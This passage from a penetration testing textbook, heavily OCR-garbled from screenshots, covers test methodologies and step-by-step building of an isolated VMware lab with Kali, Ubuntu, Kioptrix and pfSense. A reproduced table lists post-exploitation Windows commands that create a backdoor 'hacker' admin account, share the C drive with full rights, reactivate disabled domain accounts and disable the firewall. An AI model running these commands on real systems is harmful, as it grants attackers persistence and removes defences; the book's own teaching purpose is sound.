the scope of work, as we continue on through the book it is a part of the advanced
penetration concept. There are a number of techniques referenced in the standard;
the one we want to take a closer look at is the VPN Hunter. The link for this can be
found at https://labs.duosecurity.com/vpnhunter/. This site will allow you to
enter a domain and then it will search for VPNs for that domain, an example of this
is shown in the following screenshot:

. s

* VPN »

HUNTER

SSL VPNs

VPN Hunter discovers and classifies SSL VPNs from top vendors including Juniper, Cisco, Palo Alto
Citrix, Fortinet, F5, SonicWALL, Barracuda, Microsoft, and Array. VPN Hunter will also attempt to
detect whether two-factor authentic ation is enabled on the target SSL VPNs

P
Hunting for 3SL WPNs...

Protect your VPN with two-factor authentication from Duo Security Try it for free today »

Remote Access

&
Hunting for remote access endpoints. .

Protect your remote access endpoints with Duo Security Free 30-day trial »

[19]



https://labs.duosecurity.com/vpnhunter/

Penetration Testing Essentials

The next thing we will look at is the section on invasive or altering commands.
Many times when we get access to a machine via a shell, we need to remember our
administrator syntax. This section has a nice list of some commands that we need
to use. An example of this is shown in the following screenshot:

Invasive or Altering Commands
These commands change things on the target and can lead to getting detected

Command Reason / Description
net user hacker hacker /add Creats a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators
Jadd hacker

Adds the new user ‘hacker to the local administrators group
net localgroup administrators

hacker /add

Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access. or modify anything on that drive

net share nothings=C:\
One thing to note is that in newer (will have to look up exactly when. | believe since XP SP2) windows versions, share permissions and file permissions are

/grant:hacker,FULL /unlinited . X N
separated. Since we added our selves as a local admin this isn't a problem but it is semething to keep in mind

net user username /active:yes  Changes an inactive / disabled account to active. This can useful for re-enabling cld demain admins to use, but still puts up a red flag if those accounts are being
/domain watched

rewall set opmode

Disables the local windows firewall

netsh firewall set opmode
o1 Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it
enable

Support Tools Binaries | Links / Usage

REMEMBER: DO NOT RUN BINARIES YOU HAVENT VETTED |

A very important part of the screenshot is the box in red, and that is to ensure your
binaries are vetted. This is something many, including me, do not always do a good
job with; however, it is essential that we validate and verify any binaries we plan on
running before we actually run them in our testing.

The last thing we will look at from the standard is the section on the Social
Engineering Toolkit (SET). This is an exceptional tool that has taken what used to
take more than an hour to carry out and reduced it to taking just a few minutes due
to the interface. If social engineering is part of your scope of work, then the SET is an
essential tool you should become very familiar with. An example of the home page
for SET is shown in the following screenshot:
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@THLISTEI:I Sec

INFORMATION SECURITY MADE SIMPLE

Social-Engineer Toolkit

The Social-Engineer Toolkit (SET)

The Social-Engineer Toolkit (SET) was created and written by the founder of TrustedSec. Itis an

open-source Python-driven tool aime penetration testing around Social-Engineering. SET
has been pr nferences including Blackhat, Derby
ShmooCon. With over two million downloads, SET is the standard for social-eng

ed at large-scale

on, and

penetration tests and supported heavily within the security community.

The Social-Engineer Toolkit has over 2 millio
techno

al attacks in a social-engineering ty 2
engineering is one of the hardest attacks to protect against and now one of the most prevalent.
The toolkit has been featured in a number of books including t
ty books for 12 months since its release, “Metasploit: Tl
written by TrustedSec's founder as well as Devon Kearns, Jim O'Gorman, and Mati Aharoni.

number one best seller in

trations Tester's Guide”

e Pene

To download SET, type the following command in Linux:

git clone httpsy/github.com/truste

ec/social-engineer-toolkit/ set/

Home

Services

This is another tool that you are recommended to research and gain experience with.

Abstract methodology

As mentioned previously, we concentrate on a process and apply that to our security
components when we go about security testing. For this, we describe an abstract
methodology here:

A simple abstract methodology consists of the following steps:

1.

NSOk

Planning

Non-intrusive target search
Intrusive target search
Remote target assessment
Local target assessment
Data analysis

Reporting
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The goal is to develop your process and select a minimum of two tools for each
process, which provides the means for you to achieve the desired outcome at each
step. Once you have done this, then you can add additional tools as required. The
essential component is to have at least two tools to start professional security and
penetration testing. For more on this abstract reference, refer to Building Virtual
Pentesting Labs for Advanced Penetration Testing.

Final thoughts

It is essential that you have a professional security testing plan and methodology
before you start your penetration testing; furthermore, the more time you spend
planning, the easier the test will be to perform. Without these essential elements,
your testing will be unstructured and mostly ad hoc. This is something we want
to avoid when it comes to performing penetration testing for a client who has
hired us. We have briefly covered a number of methodologies here, and these are
only provided as a reference. You are encouraged to build and develop your own
methodology; the more time you spend on this, the more you will be rewarded in
the end.

Summary

In this chapter, we discussed the need for a methodology when it comes to
penetration testing and how it is essential when it comes to building skills

as a professional penetration tester. Following this, we reviewed two sample
methodologies. We reviewed the penetration testing framework and described the
components within the standards, to include the process to follow based on the ports
that are discovered during your assessments. The next methodology we discussed
was the PTES, and although there is no technical guidance as part of the standard,
there is a reference for the technical information that is available. We provided a
reference for that, along with a number of examples on how to perform the testing
for each step. The last methodology we looked at was a high-level abstraction that
shows the potential components of a professional security test.

In the next chapter, we review the steps required to build the range that we will
use throughout the rest of the book. At the end of the next chapter, we will have a
complete range that allows us to practice virtually all testing methods against any
of the targets that we may encounter.

[22]



Preparing a Test Environment

In this chapter, we will discuss the test environment and how we will select the
chosen platform. We will discuss the following:

* Introduction to the VMware Workstation
* Explanation of the reasoning behind selecting the platform
* Reviewing and implementing the design of the network

* Developing the structure to support the course and putting
everything together

In the first edition of the book, the process was to develop the range in each chapter
of the book. In this second edition, the process is to develop the range, at least at the
network architecture level, to support the different exercises throughout the book.
We will still revisit the design, but the intent is to get the layers of defense to meet
the needs of the network designs throughout the book.

Introducing VMware Workstation

The selected platform for the book is the tool from VMware, and one of the early
players in the virtualization market. The VMware Workstation provides us with
the capability to emulate a number of different complex architectures, and this will
allow us to architect the most sophisticated of networks as we build highly secure
environments, so we can test the different penetration techniques against them.

At the time of writing this book, the VMware Workstation Version 11 is the current
version, and it comes with a number of different features that allow for not only the
creation of the complex architectures that we require, but also the capability to clone
and build groups of machines for our test environment.
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Why VMware Workstation?

We will not elaborate in great detail about why the decision was made to use
VMware Workstation. For an in-depth discussion as well as a comparison of a
number of the different virtualization tools that are available, you can refer to
Building Virtual Pentesting Labs for Advanced Penetration Testing.

One of the main reasons for using the software is the history of the tool and the fact
that it has very mature software and provides us with a robust platform that can
provide a number of different architectures; furthermore, based on experience and
testing of the tool, we discovered that it can provide a much more robust networking
capability than many other tools.

Installing VMware Workstation

To obtain the software, go to the http://www.VMware . com site and download it;
you will be required to register if you have not done this before. The one good thing
about registering is that they will send you discount codes, and you can potentially
acquire the software for a reduced price. Once you downloaded the software, install
it. The installation is simple and straightforward, so we will not cover this here.

You can use the free version of software VMware Player, but it does not
M provide the same capability to build complex and complete architectures;
Q however, if you do want to use it, then you can build the layers of your
architecture as independent entities with the provided switches that are
available after your installation.

To access the switches for the network configuration in the VMware Workstation
tool click on Edit | Virtual Network Editor | Add Network. An example of this is
shown in the following image:
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VMnet Information
Select a network to add:

(@) Bridged (connect VMs dif]|

Bridged to: | Automatic || [ 2 H Eanccl H jicln ]

_' MNAT (shared host's IP address wi

'.:_.'Host—only (connect VMs internally in a private network)

Connect a host virtual adapter to this network

Use local DHCP service to distribute IP address to VMs

o) o]

Automatic Settings...

NAT Settings

DHCP Settings

@ Virtual Network Editor [ X]
Name Type External Connection Host Connection DHCP Subnet Address
VMnet0 Bridged Auto-bridging = = =
VMnetl Host-only - Connected Enabled 192.168.198.0
VMnet8 NAT NAT Connected Enabled 192.168.219.0
< 11 | »

Add a Virtual Network i E ork... ] IRemove Network]

If you click on the drop down next to the switch you will see that you can configure
up to 20 switches. This is in a Windows install; in a Linux install, you will see there is
a possibility of more than 200 switches, which are way more than you need. We will
expand on this more in the coming sections; for now, we want to discuss more of the

reasoning behind selecting the VMware Workstation.

Network design

Before we start the design of the network, we will review the existing network
switches that are installed by default. When you install the VMware Workstation,
there are three switches installed by default. These are the following:

e  VMnet0
e  VMnetl
e  VMnet8

[25]
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VMnet0

The VMnet0 switch is the Bridged switch, and it is the one that is connected to the

physical network. That is not what we normally will configure in our test architecture.

This is because the connection requires that there be a connected network to obtain
an IP address from, and a DHCP server available. Another reason for not using

the physical connection is the fact that it is the connection to the network, and as
such, we could inadvertently direct an attack into the network and this could result
in us attacking someone that we do not have permission to test. Furthermore, this
connection is often connected to the Internet. An example of the VMnet0 switch is
shown in the following image.

Name

VMnet0
VMnetl
VMnetd

Type
Bridged
Host-only
NAT

External Connection Host Connection

Auto-bridging =

Connected

NAT Connected

11

DHCP

Enabled
Enabled

Subnet Address
102.168.198.0
192.168.219.0

b

VMnet Information

i Add Network..

] ’ Remaove Network]

(@) Bridged (connect VMs directly to the external network)

Bridged to: [Automatic

-] ’Automatic Settings... ]

NAT (shared host's TF

( | Host-only (connect VI

Connect a host virtug

Use local DHCP servi

1

Automatic Bridging Settings

= |

Select the host network adapter(s) you want to
automatically bridge:

Microsoft Virtual WiFi Miniport Adapter
Intel(R) Dual Band Wireless-AC 7260

Intel(R) Ethernet Connection [217-LM
Microsoft Virtual WiFi Miniport Adapter #2
Bluetooth Device (Personal Area Metwork) #2

Restore Defaults

[ 0K H Cancel H Help ]

|

| ~pply

DHCF Settings.

NAT Settings.

An important thing to note from the image is the fact that you can bridge the
VMnet0 switch to a specific interface, this can be a good thing to do, since the tool
automatically bridges by default to all of the interfaces on the machine. Again, in
most cases, we will not use this switch since there is always a danger of attacking
a network that we did not intend to attack. If you do want to connect a number of
computers in your testing, then the Bridged setting is the best way to do that. You
can bridge to the one interface that is connected to the other machines and help
ensure that the network is isolated.
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VMnet1

This switch is dedicated to the host only configuration, and using this, we can isolate
the network traffic to within the host and virtual machine only. This is the preferred
method of performing your testing; however, if an Internet connection is required,
then this configuration is not the recommended way to design the networks. Having
said that, when we create multiple switches and a number of different layers of

an architecture, then this and other switches we create will be the method we use
for isolation across the architecture. Another nice feature of the switch is that the
segment is provided a DHCP server by default. This allows us to connect and

create network cards and connect to the switch and receive network configuration
parameters without manually entering them. An example of the VMnet1 switch and
the configuration is shown in the following image:

Name 1) - et Address
DHCP Settings X
VMnetd B
VMnetl H Network: vmnetl 68.198.0
VMnetd M. 68.219.0
Subnet IP: 192.168.198.0
Subnet mask: 255.255.255.0
Starting IF address: 192 .168 .198.128
Ending IP address: 192 .168 .198.254
- - | Broadcast address: 192.168.198.255 E r i
i
Days: Hours: Minutes: e
Default lease time: 0 =/ 0 2 30 =
VMnet Informa
Bridged (cf | Max lease time: 0 =/ 2 = 0 =
Bridged tg Se ]
OK | | Cancel | | Help
NAT (shar ftings.

@/ Host-only (connect VMs internally in a private network)

/| Connect a host virtual adapter to this network
Host virtual adapter name: VMware Network Adapter VMnetl

+/ | Use local DHCP service to distribute IP address to VMs DHCP Settings...

Subnet IP: 192 .168.198. 0 Subnet mask: 255.255.255. 0

= Command Prompt ==

Ethernet adapter UMware Network Adapter UHnef1:

Connection-specific DNS Suffix :
Link-local IPuB Address . . . . . : fe80::f956:642b:85Fb:37fb%22

IPud Address. . . . . . . . . . . : 192.168.198.1
Subnet Mask . . . . . . . . . . . : 255.255.255.08

The ease with which we can change the IP address and customize the DHCP server
is another reason we have chosen VMware Workstation.
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VMnet8

This is the most common switch we will use, because it allows us to share the
physical network connection with the host while remaining at a private address
shielded from the external network. The biggest benefit of this is that we can access
the Internet. This configuration is known as the Network Address Translation
(NAT); as mentioned earlier, it is the most common switch that we will use. When
we expand our network to include the layers to represent an enterprise architecture,
this is the switch that will connect us to the perimeter so that we can place a machine
external to our architecture and emulate a true attack from the external segment. An
example of this switch is shown in the following image:

Mame External Connection Host Connection DHCP Subnet Address
VMnetd
VMnetl

VMnetd
MNAT Settings

Type
Bridged
Host-only
MNAT

Auto-bridging -

192.168.198.0

192.168.219.0
o

Enabled
Enabled

Connected

NAT Connected

Network: vmnets
Subnet IP: 192.168.219.0
Subnet mask: 255.255.255.0

Gateway IP:  [GF.168.219. 2

Port Forwarding

Host Port  Type  Virtual Machine IP Address Description

Advanced
| Allow active FTP
| Allowr any Organizationally Unique Identifier

Iy
-

UDP timeout (in seconds): 30

Config port: 0 z

| DNS Settings... | | NetBIOS Seftings... |

l | Cancel

Connection-specific DN$ Suffix

Link-local IPuB Address .
IPuvY4 Address.

: fe80::flbe:fec3:

192.168.219.1

9bb6 : cd24%23
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A thing to note here is the fact that we can customize and configure port forwarding.
This allows us to limit the ports that a machine can receive traffic to at the virtual
switch level. We do this for both TCP and UDP ports, so effectively we can custom
configure our environment to restrict port traffic just like what we can achieve with a
firewall. One of the ways we might use this is when we know we have a vulnerability
on the application running on port 902, rather than test everything on the machine.
We can restrict all of the traffic and only allow the traffic to the specific port that we
want to test. We can do all of this without taking the extra time to set up a firewall
and then a rule to only allow traffic to our selected port. It is not something that is
common, but it can allow us to standup a quick list of allowed ports to a target virtual
machine and then test it.

Folders

The last thing we will discuss within the design is the concept of Folders. This used
to be referred to as Teams; however, in the latest versions of VMware Workstation,
they are now known as Folders. While this technically is not the network design, it
is important to explain the power that Folders provides us for our designs. We can
use this to power on all of the machines at the same time, well, not actually at the
same time; the tool uses a 10 second delay when powering the machines on. You
can also power on a selected number of machines using the Ctrl key and click on the
machine you want to power on. Once you have selected the machines to power on,
and pressed the play button, it is just a matter of time until they are powered on. An
example of Folder with machines contained within is shown in the following image:

@ VMware Workstation
File Edit View VM Tabs Help - 0l I
i X
Library 11 Network Security Toolkit (NST v... (51 Debian 151 Clone of OWASF Broken Web
Type here to search v
[ JTest
- = My Computer - N
= 3 Test Name Status
(91 Clone of OWASP B [FIClone of OWASP Broken Web Apps VM Powered off
E Il;rez_BSD §1Debian Powered off
- e_ fan [F1FreeBSD Powered off
11 Kali-Linux-1.1.0-vm-ar
(1 Klvl
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Understanding the default architecture

With the default configuration of the VMware Workstation, we can create a multiple
layer design. If we counted the VMnet0 switch, then we could architect three
segments, but, since we have discussed the downside of doing this, we will just

use the first two switches to set the initial phase of the architecture for the book. As
we continue, we will add additional switches until we have the final design of the
network that we wish to achieve.

Installing Kali Linux

We have a number of choices when it comes to installing Kali, and the one we select
is largely a personal preference; the preferred method as a tester is to install the
machine from the iso image, because that will provide you with the most control
over the configuration of the machine. This method can also present challenges,

but for the most part, it should not be too painful. Kali can be downloaded from
http://www.kali.org, and once you are there, you have a number of options for
the installation. The preferred option is to download the 64-bit version iso image,
as it allows you to take advantage of more available RAM.

Once you have downloaded and verified the image, you will mount the iso image
in the VMware Workstation and this will allow us to boot it and complete the
installation process as follows:

1. Start the VMware Workstation on your host machine.
Click on File | New Virtual Machine.
Accept the default settings and click on Next.
In the next window, select Installer disc image file (iso).

Browse for the iso image you downloaded and click on Next.

AN N

Leave the default Linux, and click on the drop-down window,
and select Debian7.x 64-bit.
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7.
8.

New Virtual Machine Wi

Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:

Installer disc:

No drives available

(@) Installer disc image file (iso):

D:\other\kali-linux-2.0-amda4.iso -

% Could nat detect which operating system is in this disc image.
You will need to specify which operating system will be installed.

() Twill install the operating system later.

The virtual machine will be created with a blank hard disk.

[ < Back ][ MNext = ][ Cancel ]

Enter a name for the virtual machine as Kali Linux Attacker.

Name the Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name:

I Kali Linux Attackar] I

Location:

C:\Users\INST\Documents\Virtual Machines\Kali Linux Attacker Browse...

The default location can be changed at Edit > Preferences.

[ < Back ]i[ Wext = ” Cancel ]

You can change the location that it is saved to, but I recommend that you
leave it at the default and click on Next.
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9.

10.

11.

12.

13.
14.
15.

In the next window, change the Maximum disk size to 80.0.

This might seem like a large number, but it is better to do this now and not
later. We will not be allocating the space for this, so it is OK to set it at a high
number. The other setting that is of interest is the storing of the virtual disk;
we will leave this at the default. Then, click on Next.

F

MNew Virtual Machine Wizard

==

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host
computer's physical disk. These file(s) start small and become larger as
l you add applications, files, and data to your virtual machine.

-

| Maximum disk size 80.0

-

Recommended size for Debian 7.x 64-bit: 20 GB

I
|| :
| Store virtual disk as a single file
(@)isplit virtual disk inta multiple files
Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.
||
|

[ < Back H Next = H Cancel ]

Before you click on Finish, set up the hardware. Click on Customize
Hardware.

We want to customize the network cards and also set the RAM that we want
for the virtual machine. The more RAM you set, the better. This is something
that is largely dependent on the amount of RAM you have available. If
possible, dedicate a minimum of 2 GB to the machine. For our example,

we are going to set 4 GB.

Once you have set the RAM, click on Add | Network Adapter | Next.
Select the Host only radio button, then click on Finish.

Close the configuration window by clicking on Close.
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16. If there is an option to Power on this virtual machine after creation, clear the
checkmark and click on Finish.

New Virtual Machine Wizard %

Ready to Create Virtual Machine

Click Finish to create the virtual machine and start installing Debian 7.x
64-bit.

The virtual machine will be created with the following settings:

Name: Kali Linux Attacker
Location: C:\Users\INST\Documents\Virtual Machines\Kali Linux A...
Version: Workstation 11.0
Operating System: Debian 7.x 64-bit
: Hard Disk: 80 GB, Split
Memaory: 4096 MB
Network Adapter:  NAT, Host-only
Other Devices: CD/DVD, USB Controller, Printer, Sound Card
: ’ Customize Hardware...

| D?Puwer on this virtual machine after creation; |

— —

17. This will open up the virtual machine in the VMware Workstation, and it will
provide you with the opportunity to review your settings. Once the settings
have been reviewed, click on Power on this virtual machine.

At this point, we created the virtual machine, configured the hardware, and defined
the structure of the machine with respect to the network cards, the physical RAM,
and the size of the hard drive. At this point, the machine is now ready. We just
have to boot the machine and install the software the same as if it were a separate
machine. Another powerful benefit of virtualization. Perform the following steps:

1. Click into the window and select the Graphical install.

2. On the next screen, select your language and then your location. Click on
Continue.

3. Select your keyboard and click on Continue.

This will start the install process. The install will detect the two network
interfaces and properly select the etho interface. Leave it at the default
and click on Continue.
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5. You will be prompted whether or not to continue without a default route;
click on Yes and then click on Continue.

6. This is because we will let the VMware provide this information when the
machine boots. Do this also for the name servers and the domain name. We
are not installing the software on a physical machine, so we can bypass these
steps. Accept the hostname (or change it if you desire to use another name)
and click on Continue.

7. The next thing you need to do is enter a password for the root user. Make
sure you remember it and click on Continue.

Set up users and passwords

You need to set a password for 'root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose aroot password that is
not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to become root using the "sudo"
command.

Note that you will not be able to see the password as you type it.

Root password:

[

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:

[ screenshot | [ Go Back | Continue i

Configure the clock to match your time zone and click on Continue.

Since we are in a virtual environment, accept the default for the disk and
click on Continue.

10. Read all of the messages and click on Continue. Finish partitioning and write
the changes to the disk. You will have to select Yes to complete the process.
Then, you will see the installation of the system taking place.

11. When you are prompted for a network mirror, select No and then click
on Continue.
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12. Accept the default and install the GRUB boot loader and click on Continue.
13. Select the hard disk, and then click on Continue.

14. If all goes well, you should get the completion message. Click on Continue.

Finish the installation

Installation complete
@ Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media (CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

15. Once the machine boots, login with the username of root and the password
you created during the installation.

We now have a complete install of the Kali 2.0 software in a virtual machine
environment; moreover, we have a complete penetration testing framework that will
allow us to conduct a wide variety of penetration testing techniques. At this time,
we are ready to continue with the configuration of the machine, and the ever so
important capability of installing the VMware tools. Let's get started now!

1. We are now ready to update the software and then install VMware tools.
Open a terminal window and enter:
# apt-get update
# apt-get dist-upgrade

2. Once this has completed, it is time to install the VMware tools. This can be
a bit of a challenge, but it does make our lives much easier when working
with virtual machines. At the time of this writing, the Kali Linux distribution
used the 3.18 kernel. Attempt to install the Linux headers with the following
command:

# apt-get install linux-headers-$ (uname -r)
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3.

If you get a message to the effect that the headers are not found, we can

continue on to the next step. If the headers are installed, then note the path in
case the VMware tools installation does not find them. Click on VM | Install
VMware Tools, and, once the CD is mounted, double-click on the CD icon
to open the folder. Right-click on the VMware Tools archive and select

Extract To....
cdromO ‘ - (O
File Edit View Go Bookmarks Help
Devices < 10 are Tools Qj E:> Q, Search
(@) VMware... =
= FlappyDa @ Open With Archive Manager TQJ
Lo | |
Computer manifest tx Open With Other Application... ——
£ Home 6486.tar.
Desktop Copy =
|# File System 0
@ Trash
vmware-tool
Network upgrader-3 Copy to 5
@ Browse Net...
Send To...
Tags...

Properties

© cdromo

r.gz" selected (62.1 MB)

ing cdromQ

4. Browse to the root folder and extract the files by clicking on Extract.

Cancel

vutuments

(]}
Location:
Downloads
Name
1 Music

0] Pictures
H Videos

m Trash

|=] Floppy Disk

-

O vMw..
= Computer

S Browse N...

Extract
© All files

Selected files

l Extract l

Extract
Iruutﬂ ]
Size Modified |
Actions
[T Keep directory structure
[ Do not overwrite newer files
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5. Once the tools have extracted, navigate to the folder, and enter:

# cd vmware-tools-distrib

# ./vmware-install.pl

File Edit WView Search Terminal
root@kali:~# 1s

Desktop vmware-tools-distrib
root@kali:~# cd vmware-tools-distrib/
root@kali:~/vmware-tools-distrib# 1s

bin doc etc FILES INSTALL installer 1ib
root@kali:~/vmware-tools-distrib# ./vmware-install.pl]]

Help

6. The installer will ask questions; accept all of the defaults until you get to the
valid header path. If it does not find it, you can enter the one from earlier;
alternatively, the best bet is to enter no.

Searching for a valid kernel header path...

The path "" is not a valid path to_the 3.18.0-kali3-amd64 kernel headers.
Would you like to change 1t? [yes]

Accept the rest of the defaults, and the tools should complete the installation.
Reboot the system. Once it comes online, login and then click View | Fit

Guest Now. You should now have a larger screen, which means that the
tool is installed correctly.

(X 64-bit -
View | VM Tabs Help v | &

j:[‘,, Full Screen Ctrl+Alt+Enter
B unity

E Console View

Fit Window Now

Autosize 4

Customize 4

8. You now should have your Kali Linux machine installed and configured

with the VMware tools.
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Creating the switches

We know that we have three switches that were created when we carried out the
installation. This will allow us to create a number of different architectures, but we
still need more switches for our design. The system has assigned our IP addresses for
the VMnetl and VMnet8 switches, respectively. We want to customize the switches
to meet the IP addresses that we will use throughout the book. We have four subnets
that we use throughout the book, and we will configure them now. This does not
include the last chapter, and we will customize four switches just for that. In your
VMware Workstation, click on Edit | Virtual Network Editor. This will bring up

the network configuration window, and we want to configure the following;:

Name Subnet Address
VMnetl 192.168.50
VMnet2 192.168.25
VMnet3 192.168.101
VMnet4 192.168.10
VMnet5 192.168.20
VMnet6 192.168.30
VMnet7 192.168.40
VMnet8 192.168.75

This will provide us with the four subnets for the book, and also the four subnets in
the last chapter. An example of the settings is shown in the following image:

Name Type External Connection Host Connection DHCP Subnet Address
VMnet1 Host-only - Connected Enabled 192.168.50.0
VMnet2 Host-only - Connected Enabled 192.168.25.0
VMnet3 Host-only - Connected Enabled 192.168.101.0
VMnet4 Host-only - Connected Enabled 192.168.10.0
VMnets Host-only - Connected Enabled 192.168.20.0
VMneto Host-only - Connected Enabled 192.168.30.0
VMnet7 Host-only - Connected Enabled 192.168.40.0
VMnet8 NAT NAT Connected Enabled 192.168.75.0

We now have all of the switches that are required and can emulate any of the
required network architectures throughout the book except for the load balancing
requirement. We will configure that later.
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Putting it all together

We are now ready to build a number of the machines that we will use throughout
the book. We will not completely configure the images until we are in that section
of the book where they are required.

Installing Ubuntu LTS

The first machine we want to set up is the Ubuntu virtual machine. Go to http://
www . ubuntu. com and download the 14.04.2 LTS Desktop iso image. Once the image
has been downloaded, start VMware Workstation and click on File | New Virtual
Machine to start the creation of the new machine. Accept the default and click on
Next. Select the radio button for I will install the operating system later, and then
click on Next. An example is shown in the following image:

Guest Operating System Installation
A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:

Installer disc:

Mo drives available hd

(C) Installer disc image file (iso):

C:\Users\INST\Downloads\ubuntu-14.04.2-desktop-a = Browse

|-.Q.-Iwi|| install the operating system later. |

The virtual machine will be created with a blank hard disk.

[ < Back ][ MNext = ][ Cancel ]
. |
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Preparing a Test Environment

The installer will next ask for the version to install. We will leave the default Guest
operating system setting, select the version as Ubuntu 64-bit, and click on Next. An
example is shown in the following image:

New Virtual M

Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system

() Microsoft Windows
(@) Linux

) Novell NetwWare
() solaris

() VMware ESX

(") other

Version

Ubuntu 64-bit -

’ < Back ][ MNext = H Cancel ]

Enter a name for the virtual machine as Ubuntu_TestMachine_1 and click on Next.
Accept the default sizes and click on Next. The machine is now ready to go; click on
Finish. Since we elected to not install the OS with easy install, we need to connect the
DVD to the iso image. Click Edit virtual machine settings | CD/DVD (SATA) |
Use ISO image file:, and browse to the image file. Then, click on OK. An example is
shown in the following image:
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Hardware | Options
Devige Summary Device status
W Memory 1GB Connected
[d Processors 1 Connect at power on
(i Hard Disk (SCSI) 20 GB |
*y CD/DVD (SATA) Auto detect Connection
& Network Adapter NAT - ) )
() Use physical drive:
USB Controller Present
@) Sound Card Auto detect Auto detect -
Printer Present —
= ) (@) Use IS0 image file:
& pisplay Auto detect )
C:\Users\INST\Downloads\ubuntu-

Once you have verified your settings, click on Power on this virtual machine. Enter
the following settings for the installation:

1.

SAN- IS

What is your name: Student.

What name do you want to use to log in: student.
Choose a password: 1leasyPassword.

What is the name of this computer?: Phobos.

Require my password to login: Selected.

After the installation has completed, the system will reboot. Login to the machine.
On the left side of the desktop, the top most icon is the software launcher; right-click
on it and select Applications:

Ubuntu Desktop
——
j Home
Applications
Files & Folders

Videos

Photos

Social

"k
ﬁ Music
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Preparing a Test Environment

In the search window, enter terminal and open the terminal window that comes up
from your search:

|® terminal
@ Installed

A

Terminal UXTerm

In the terminal window, enter the following;:

$ sudo -i
# apt-get update
# apt-get upgrade

After the system has updated, we are now ready to install the services we need for
the labs. Enter the following command:

# apt-get install lamp-server”

The * character is required for the command so that is not a typo:

H r:):)t@Fh:)b;)S:—-#}pt-get install lamp-server”

2

T

You will have to enter a password for the MySQL user. For simplicity, enter the same
password as you did for the user on the machine.
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Installing Kioptrix

The next machine we need to install is the Kioptrix machine by Steven McElrea
(aka loneferret) and Richard Dinelle (aka haken29a) of the http://www.kioptrix.
com team.

Choose your language of choice and click on the KioptrixVM Level 1 link and
download it. You will notice that there is another VM that has been added to
the choices; but for our purposes, we will continue with the same VM from the
first edition.

Once the download has completed, extract it. We only need to open the virtual
machine. Once it has been extracted, click on File | Open, navigate to where the
machine has been extracted, and open it. Once the machine is open, we need to make
some configuration changes. Click on Edit virtual machine settings | Memory

and change it to 256. Click on the Network Adapter and select NAT. The following
image shows the settings for the machine:

Virtual Machine Settings u
Hardware | Options
Device Summary Memory
L Memory 256 MB Specify the amount of memory allocated to this virtual
o machine. The memory size must be a multiple of 4 MB.
Processors 1
[ Hard Disk (IDE) 3GB for this virtual machi py——
@Networkﬁdapter NAT Memory for this virtual machine: ~ | MB I
@ Display Auto detect
3268 - | g4
16 GB
8 GB
O Maximum recommended memory
4 GB
(Memory swapping may
2GB occur beyond this size.)
1GB 28344 MB
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Preparing a Test Environment

Now that we have Kioptrix Level 1 on the machine, it is time to download the Level
3 VM. Using the same techniques as before, download and create the machine for
Kioptrix Level 3, located at the Kioptrix VM Level 1.2 link. The following image

shows this:

Opening KVM3.ra

You have chosen to open:

KVM3.rar
which is: rar File (441 MB)

from: http://www.kioptrix.com

What should Firefox do with this file?

Openwith | Browse... VM Downloads

DownThemAll!

dTa OneClick {§ | C:\Users\INST\Downloads\ -

=) égave File

Do this automatically for files like this from now on.

Recent Posts

l OK l‘ Cancel ‘

As before, once it is downloaded you need to extract it. Once the machine is
extracted, use the same concepts as before and configure the machine with the same
networking settings. Leave the rest at the default. An example of this is shown in the
following image:

Hardware | Options
Device Summary Memary
[ Processors 1 machine. The memory size must be a multiple of 4 MB.
=\ Hard Disk (IDE) 20 GB =
) CD/DVD (IDE) Auto detect Memory for this virtual machine: 512> MB
[= Floppy Using drive A:
FE Network Adapter  NAT 3.5 GB 4
2 GB

After you have verified your settings, the virtual machine setup at this point is
complete.
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Creating pfSense VM

As discussed in the first edition, the pfSense firewall is much more than just a
tirewall, and it is easy to install and configure. This suits our purposes here in our
testing environment. Download the software located at http://www.pfsense.org/
mirror.php?section=downloads. We need to select the right version; at the time of
writing, this was 2.2. Select a Computer Architecture and Live CD with Installer.
An example is shown in the following image:

Which Image Do | Need?

Computer Architecture: AMD64 (64-bit) ¢
NOTE: If your system has a 64 bit capable Intel or AMD CPU, use the 64 bit version. 32 bit
should only be used with 32 bit CPUSs.

Platform: Live CD with Installer A

Or just show me the mirrors so | can choose which file to download on my own.

Once you have downloaded the software and extracted the iso, we need to create

a virtual machine to install it. Open VMware Workstation and click on File | New
Virtual Machine | Next. Select Installer disc image file (iso) and browse to the iso
image. Then, click on Next.

New Virtual Machi e S

Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:

Installer disc:

No drives available -

(@ Installer disc image file (iso):

C:\Users\INST\Downloads\pfSense-LiveCD-2.2.2-REL «

%, Could nat detect which operating system is in this disc image.
You will need to specify which operating system will be installed.

() Twill install the operating system later.

The virtual machine will be created with a blank hard disk.

[ < Back H Next = H Cancel ]
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Preparing a Test Environment

Select Other and FreeBSD 64 under Version. Click on Next.

MNew Virtual Machi

Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system

_ Microsoft Windows
- Linux

() Novell Netware
'._?_.-Snlaris

() VMware ESX

(@) Other

Version

FreeBSD 64-bit -

’ < Back H Mext = ][ Cancel ]

Enter the appropriate name as PFSense VLANT and click on Next. At the next screen,
accept the defaults and click on Next. Then click on Finish. When the machine opens,
we have to customize the hardware to meet our requirements. We need another switch
to set up a VLAN with. Click on Edit | Virtual Network Editor | Add Network;

this will bring up the network configuration window, and we want to configure the
following:

1. VMnet9 -192.168.175.
2. Uncheck Use local DHCP service to distribute IP address to VMs.
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M TvMnets  Hostonly - Connected - 192.168.175.0 —

< | 11l | »

